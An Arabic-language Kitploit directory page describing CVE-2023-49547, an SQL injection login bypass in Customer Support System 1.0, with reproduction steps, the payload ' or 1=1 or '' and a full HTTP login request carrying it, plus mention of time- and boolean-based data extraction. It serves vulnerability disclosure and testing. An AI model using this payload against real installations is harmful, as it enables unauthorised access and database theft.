Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-49547 — نظام دعم العملاء 1.0 - تجاوز تسجيل الدخول عبر حقن SQL | Kitploit
أدوات/GitHubGitHub/geraldoalcantara/cve-2023-49547
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubgeraldoalcantara/cve-2023-49547

CVE-2023-49547

نظام دعم العملاء 1.0 - تجاوز تسجيل الدخول عبر حقن SQL

عرض المستودع
4منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-49547

نظام دعم العملاء 1.0 - تجاوز تسجيل الدخول عبر حقن SQL

الوصف: نظام دعم العملاء الإصدار 1.0 عرضة لحقن SQL. تمكن ثغرة حقن SQL في نظام دعم العملاء 1.0 المهاجمين غير المصادقين عن بُعد من تجاوز عملية المصادقة عن طريق استغلال معلمة اسم المستخدم.

إصدار المنتج المعرض للخطر: نظام دعم العملاء 1.0
مؤلف CVE: Geraldo Alcântara
التاريخ: 28/11/2023
تم التأكيد في: 19/12/2023
CVE: CVE-2023-49547
تم الاختبار على: Windows

خطوات إعادة إنتاج الثغرة:

  1. زيارة صفحة تسجيل الدخول.
  2. عند تقديم الطلب، أدخل الحمولة الخبيثة (' or 1=1 or '') في معلمة اسم المستخدم.
  3. بالإضافة إلى تجاوز المصادقة، يمكن استخراج معلومات من قاعدة البيانات باستخدام هجمات تعتمد على الزمن وعلى القيم المنطقية.

الطلب: تجاوز المصادقة:

root@kitploit:~
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/login.php
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3

username='+or+1%3D1+or+''%3D'&password=password&type=1

تأخير زمني: 20 ثانية time01

تأخير زمني: 2 ثانية time02

المكتشفون/الإسناد:
Geraldo Alcântara

تنزيل الأداة